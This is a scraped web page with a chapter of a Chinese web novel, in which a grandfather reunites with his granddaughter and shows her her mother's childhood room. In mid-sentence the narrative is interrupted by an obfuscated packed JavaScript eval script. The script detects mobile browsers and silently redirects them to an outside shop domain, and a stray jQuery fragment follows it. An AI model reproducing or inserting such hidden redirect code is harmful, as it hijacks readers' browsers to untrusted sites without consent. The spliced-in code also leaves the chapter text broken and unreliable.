文趣网 > 其他小说 > 今日宜诈尸 > 16. 被纠缠
    那枚扳指是他当年亲手挑了料子请工匠打的,如今它却戴在一个和他女儿眉眼有几分相似的姑娘的指节上。

    陈老爷子端起一旁的茶盏,饮了一口,尝不出什么味道,只觉得喉间发紧。

    施恨玉不避不让的神情,和他的女儿是如此相像。他想起最后一次见陈怀今,她也是这副模样站在他面前,坚定地说:“爹,我要跟他走。”

    他当时说了什么,他记不太清了。只知道那句话说出口之后,他的女儿再没有回过家。

    她走的时候,什么都没带。她不要嫁妆银钱,不要陈家的一切,只要那个姓施的穷书生。

    彼时,他盛怒之下,扬言与陈怀今断绝关系,她的名字也被他亲手从族谱上划了去。

    可毕竟是亲骨肉,陈怀今也是他最疼爱的孩子。陈老爷子又放不下面子,只强塞给她玉扳指,等着她回头。

    可她一次也没有回头,这一走,便是十余载。

    陈老爷子在王氏喋喋不休的吵闹中起身,站定在施恨玉跟前。

    他知道她嫁了人,知道她生了个女儿,知道她男人去世了,知道她日子过得清苦。

    这些他都知道,可他没有找过她。

    而今,旧日的怒意被眼前这张脸一晃,他才知这东西早就磨没。而他始终不肯承认的牵挂也走完了它所有的弯路,兜兜转转又回到了原点。

    “孩子,你娘她让你来找我,她就不怕我不认?”陈老爷子喉嗓干涩。

    施恨玉一时不知该如何回答,再多的话她也说不出来,因为她不知道她娘怕不怕,她从来没有问过。

    她看着眼前这位老人眼底薄薄的光,想聊慰几句。若说“阿娘从来没怪过您”,可那不全是真话。若说“娘一直记挂着您”,那又太轻了。

    施恨玉最终没有说出话来,只是低着头,将那枚扳指摘下,让它安安静静地躺在自己手心里,之后慢慢地朝陈老爷子的方向递了过去。

    他伸出手来,没有接扳指,而是将她那只攥着扳指的手合拢了,拢在自己的掌心里。

    “不必说了,”陈老爷子的话声带哑,“你来了,就足够了。”

    王氏张嘴哑然,愣神地望着施恨玉,心里已有了悔意。

    “王氏,你出言不逊,今儿可不是回房歇着的事了。”陈老爷子冷声道,“待老四回来,你与他来一趟。”

    王氏顶着他审视的眸光,喏喏应声。

    -

    陈老爷子带着施恨玉走过穿堂,穿过后院一片修竹掩映的青石小径,在一处僻静的小院前停了步。

    檐下挂着一串风铃,被风吹得轻轻相碰,泠泠作响。

    施恨玉跟在陈老爷子身后跨过门槛,青石砖缝里很干净,没有一根杂草。檐下的石阶也被水洗过,泛着润润的潮意。

    这里分明有人在日日打扫。

    陈老爷子走向墙角种着的老桂树,橙黄的桂花尚未占领满树,碧绿的枝叶蓊蓊郁郁地探到屋檐上。

    “这桂树是她十岁那年亲手栽的,种下去没几天就被她拔出来看长根了没有,后来又种回去,到底还是活了。每年八月开花的时候,满院子都是香的。”他唇角笑意愈浓,抚着树皮纹理。

    “玉丫头,你过来。”陈老爷子又走到廊下,推开了正房的门,“来看看吧,你娘小时候就住这间屋,她走的那年,我让人把门锁了。后来过了些年,我又把锁打开了。”

    他只站在门槛边,没有陪同施恨玉踏入,一如从前朝内望去。

    屋子很干净。

    施恨玉一眼便被书案吸引了去,她不由走近。案上搁着一方镇纸,镇纸的形制和书房案头常见的不同,圆润小巧,看着倒像是什么人随手捡来磨成的。

    陈老爷子不知何时进了屋,为她解惑:“那是她去后山溪边玩水捡回来的石头,磨了一整日,磨出个圆润的形状来当镇纸。她说外头买的太没意思,自己捡的才好看。”

    施恨玉小心地碰了碰那方镇纸,石质的凉意透过指腹渗进来。她收回手时轻轻蹭了一下镇纸的边缘,将手拢进袖口里,低头看了看手指。

    她忽而笑了一下。

    陈老爷子看着她的举措,又看了看镇纸,也笑:“她每回看书习字看累了,手指就喜欢在那镇纸边沿蹭几下,跟猫爪子似的。”

    “看来我随了她。”施恨玉摸到阿娘过去的影子,心中不甚欢喜,又道,“阿娘总让我在看书的时候要专心,那她之前专心么?”

    “她小时候皮得很,是府上最不专心的孩子。她会在书页边角画小人儿,我后来翻到她没带走的书,每页的空白处都画着些歪歪扭扭的小人儿。小人是小小的,有着圆圆的脑袋和几根线条的身子,旁边还写着些小字批注,大多是抱怨先生讲书太闷的。”陈老爷子心里含着太多回忆,旧事在施恨玉的询问中娓娓道来。

    施恨玉听了,“扑哧”笑出声来,眼睛一亮:“那书还在吗?”

    陈老爷子点点头,在书格最顶上那一层摸了一本边角泛黄的旧书下来,递到她面前。

    施恨玉接过那本书,小心地翻开书页,上面果真画着小人,有的抱着书打瞌睡,有的踮着脚去够高处的果子,有的旁边还用细瘦的字迹写着“先生今日又讲《诗经》,讲了半个时辰还在讲‘关关雎鸠’”。她把书合拢,轻轻抱在怀里。

    陈老爷子看着眼前这个姑娘,她抱着那本旧书站在他身边,眉眼之间的轮廓和许多年前的陈怀今重叠在一起,又舒展开来,长成了另一个人的模样。

    他伸出手,在她肩头轻轻拍了拍。

    “这间屋子我还是想留给你娘,你既回来,我想你更愿意与你娘同住一院。西边那间向阳的屋子,我叫人收拾出来。”

    “好。”施恨玉轻声道。

    陈老爷子又在窗边一张旧藤椅上坐下,望着窗外那棵老桂树。施恨玉在他旁边的矮凳上坐下来,安安静静地听着他絮絮叨叨地述说往事。

    “她小时候,我请了先生来教她读书写字。她不爱学,嫌先生讲得闷,竟把《女诫》撕了糊风筝。后来在她软磨硬泡之下,我换了个先生,她才肯好好学。其实她学什么都快,学了两三个月就能写一手好的小楷,比同龄的男孩子写的还端正。但她写的时候就是不肯好好坐,总要偷偷在字帖底下垫一本话本子,先生一走就翻出来看。”

    “后来被人揭发,她就追着人家满院子跑,追上了,还把人家的书袋丢进了池塘里。”

    施恨玉想象不出那个画面,她印象中的娘说话总是温温吞吞的。可外祖嘴里说出来的,却是一个会追着人满院跑的顽皮小丫头,鲜活极了。

    陈老爷子拉过施恨玉的手:“你娘拉扯你长大,想来也没怎么正经教你琴棋书画。明儿我让人去请几位先生,我相信你底子好,学上一年半载的,也能跟城里闺秀们比肩了。”

    施恨玉慌忙摆手:“不用不用,外祖,我不学那些。”

    “罢了罢了,都依你。你娘当年也是这样,她不爱那些闺阁学的东西,琴棋书画样样稀松,倒是喜欢往外跑。我给她请了天下最好的琴师,她头一节课就把琴弦拨断了两根。”他眼风之中,更多是无奈之情。

    施恨玉羞着脸解释道:“外祖,我不是不爱学,我是真没那个天赋,我连调子都听不准。”

    “所以就不学了?”陈老爷子接上她的话,声音带着笑。

    她坦然道:“不学了呀,学不会还硬学,那不是跟自己过不去么。”

    陈老爷子没有再提请先生的事,又唠叨些许旧事,才试探道:“你娘这些年身子怎么样?”

    “在我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696503|207486||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    幼时娘精神尚好,后来就一直不大好。”施恨玉垂着头,如实道,“平日里就靠着药吊着,精神好的时候能下床走走,不好的时候就在榻上躺着。”

    “那病是娘胎里带出来的,克制它需要一味极稀有的药引,她从小就是靠那个养着的。当年她走的时候什么也没带,药引我却是常年备着,定期差人送京里的医馆去,你应该都拿到了吧?”陈老爷子担忧道,又自语,“这病怎么还加重了,她这些年是怎么熬过来的。”

    施恨玉恍然,怪不得京中只有那一家医馆有那味药,还专用锦盒供着,更无人同她争买,收取的费用也低廉。

    她安慰道:“您别担心,前阵子寻了味药叫‘独角莲’,又请了个太医院出来的医正施针,说是能根治。”

    陈老太爷一听“独角莲”,挺身坐起,追问道:“可是谢氏相助?”

    施恨玉压下心中疑惑,温顺的颔首。

    陈老太爷轻叹口气,谢氏有独角莲他是知道的,只是两家曾闹矛盾,他也不好意思凑上前求一件不可能的事。

    既是谢氏相助,那他自是放心。只是谢氏怎平白会出手?

    他窥见施恨玉躲闪的眼神,不再深问。

    良久,陈老爷子忍不住问:“她有没有提过,要回来看看?”

    “她说会来的,说等她把那边的事料理清了,就回来。阿娘她从不说空话。”施恨玉握住了他的手,郑重道。

    陈老爷子负载的心事顿时舒缓不少。

    此际,屋门被人轻轻叩了叩,奚孤行对着他拱了拱手,恭敬道:“爷爷,四叔回来了,人在前厅候着。”

    陈老爷子松弛的神情敛了几分,恢复了惯有的沉定。

    他走出去,又回头看了一眼施恨玉,温声道:“我去和你四舅谈谈,你在这儿坐会儿,或者让人领你到处去看看,都行。”

    陈老爷子离去,奚孤行却没跟着,他倚着门,盯着施恨玉。

    “你还在呢?”她有些意外。

    奚孤行神色有些奇怪,像在幸灾乐祸:“犹青的处境怕是不妙。”

    “他怎么了?”她问。

    奚孤行话只说一半:“我方才见着他被人给堵了。”

    谢唯云武功高强,岂会沦为此等下场,施恨玉自是不信他这番言论:“谁敢堵他?”

    “一群姑娘,”奚孤行戏谑道,“也不知谁传的话,说府里来了个年轻俊朗的公子,府里那些姑娘全跑出来了,还有几个来串门的闺秀,好多人围着他,问东问西的。你要是再不去捞他,他怕是要被那群姑娘的脂粉味呛晕在府里了。”

    施恨玉有点头疼,又想到他被一群姑娘围着进退两难的模样,到底没忍住弯了一下嘴角,随即又压平了。

    “你都路过了,怎么不顺手把他捞出来?非要绕这么大一圈来叫我。你是专程去看热闹的?”

    奚孤行直起身来,表情介于无辜和理直气壮之间:“那些姑娘们我认得,她们问的话无非是谁家的、多大年纪、有没有定亲之类的,她们又不会吃人。我若插进去拦着,或把人硬拽出来,反倒显得我不近人情。我若闯进去,你猜她们是听我的,还是拿团扇敲我脑袋?再说了,我若去了,那群姑娘转头要是来缠我了怎么办,你不舍得让他被缠,难道就舍得让你表哥我被缠?”

    她没有跟他多费口舌,在心里默默吐槽他脸皮厚。

    “再说了,这种事,我去救,跟你去救,那能一样么?”他看着施恨玉,日光透过廊檐漏在他脸上,将那一抹笑意照得分明。

    施恨玉没听出奚孤行的弦外之音,瞪了他一眼,小声嘀咕了一句:“他那种人,确实容易招蜂引蝶。”

    她快步朝外走去,让奚孤行带路。

    奚孤行不急不慢地跟在她身侧,准备去看一出好戏。